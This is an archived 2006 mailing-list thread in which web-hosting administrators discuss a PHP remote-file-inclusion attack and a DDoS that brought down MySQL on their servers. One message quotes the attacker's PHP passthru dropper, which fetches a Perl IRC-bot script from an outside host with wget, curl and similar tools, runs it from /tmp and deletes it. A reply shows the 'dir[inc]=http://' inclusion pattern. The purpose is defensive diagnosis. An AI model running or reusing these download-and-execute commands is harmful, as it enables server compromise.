I did see in the log files where the attacker was attempting to run an
exploit against a Joomla component, ExtCalendar, where it was trying to get
the calendar component to read an alternative (URL-based) Joomla
configuration file through a GET statement on the URL. Fortunately, this
exploit had been closed previously and only the repetitive HTTP/MySQL
traffic overwhelmed MySQL to the point of it puking from too many
connections. The v6 script in action was on another server, a CPanel one,
where they used a similar method of attack to compromise it.
Since you had a server compromised in this manner, what additional damage
did you see on yours from the v6 script running? I couldn't see anything
other than the script itself running, which the exploit deleted after
starting.
> -----Original Message-----
> From: Paul Wilson - Swift Internet [mailto:paulw (at mark) swiftinter.net]
> Sent: Monday, September 11, 2006 5:23 AM
> To: coba-e (at mark) bluequartz.org
> Subject: [coba-e:06821] Re: /TMP Directory
>
> It is also likely that your PHP script has a severe vulnerability in it
>
> I think the attack was in two parts - did you see the php script being
> used
> in the following way (check your access_log)
>
> ****php?dir[inc]=http:// "URL location of attack script"
>
> This script would then be run to pull in the v6 script that you saw in
> action.
>
>
> The "php?dir[inc]" vulnerability became known at the tail end of August,
> so
> these attacks are going to become more widespread.
>
> And yes, one of our servers was hit this way.
>
>
> Regards
>
> Paul
>
>
> ----- Original Message -----
> From: "Darrell D. Mobley" <dmobley (at mark) uhostme.net>
> To: <coba-e (at mark) bluequartz.org>
> Sent: Saturday, September 09, 2006 9:44 PM
> Subject: [coba-e:06808] /TMP Directory
>
>
> > There was some discussion here lately about the security fix that
> stopped
> > programs from running in /TMP. Is this configured by default if you
> have
> > your BQ Yum updated? I got a DDOS today where the users were trying to
> > run
> > the following program via PHP:
> >
> > <?
> > passthru('cd /tmp;wget http://perqafohu.com/~armendibx/oki/v6.txt;perl
> > v6.txt;rm -f v6*');
> > passthru('cd /tmp;curl -O
> http://perqafohu.com/~armendibx/oki/v6.txt;perl
> > v6.txt;rm -f v6*');
> > passthru('cd /tmp;lwp-download
> > http://perqafohu.com/~armendibx/oki/v6.txt;perl v6.txt;rm -f v6*');
> > passthru('cd /tmp;lynx -source
> http://perqafohu.com/~armendibx/oki/v6.txt
> >>v6.txt;perl v6.txt;rm -f v6*');
> > passthru('cd /tmp;fetch http://perqafohu.com/~armendibx/oki/v6.txt
> >>v6.txt;perl v6.txt;rm -f v6*');
> > passthru('cd /tmp;GET http://perqafohu.com/~armendibx/oki/v6.txt
> >>v6.txt;perl v6.txt;rm -f v6*');
> > ?>
> >
> > The v6.txt is a Perl script that installs some IRC software and monitors
> > IRC
> > on open ports. I do not think the script was successful in running, but
> I
> > just want to make sure the /TMP security is enabled where files can't be
> > run
> > there. While I don't think the DDOS attack was successful in running
> the
> > script, it was successful in shutting down the serer due to MySQL
> becoming
> > overwhelmed. Server load was up to 156!
> >
> > Any suggestions would be appreciated.
> >
> >
>
>
> --
> This message has been scanned for viruses and
> dangerous content by Swift Internet, and is
> believed to be clean.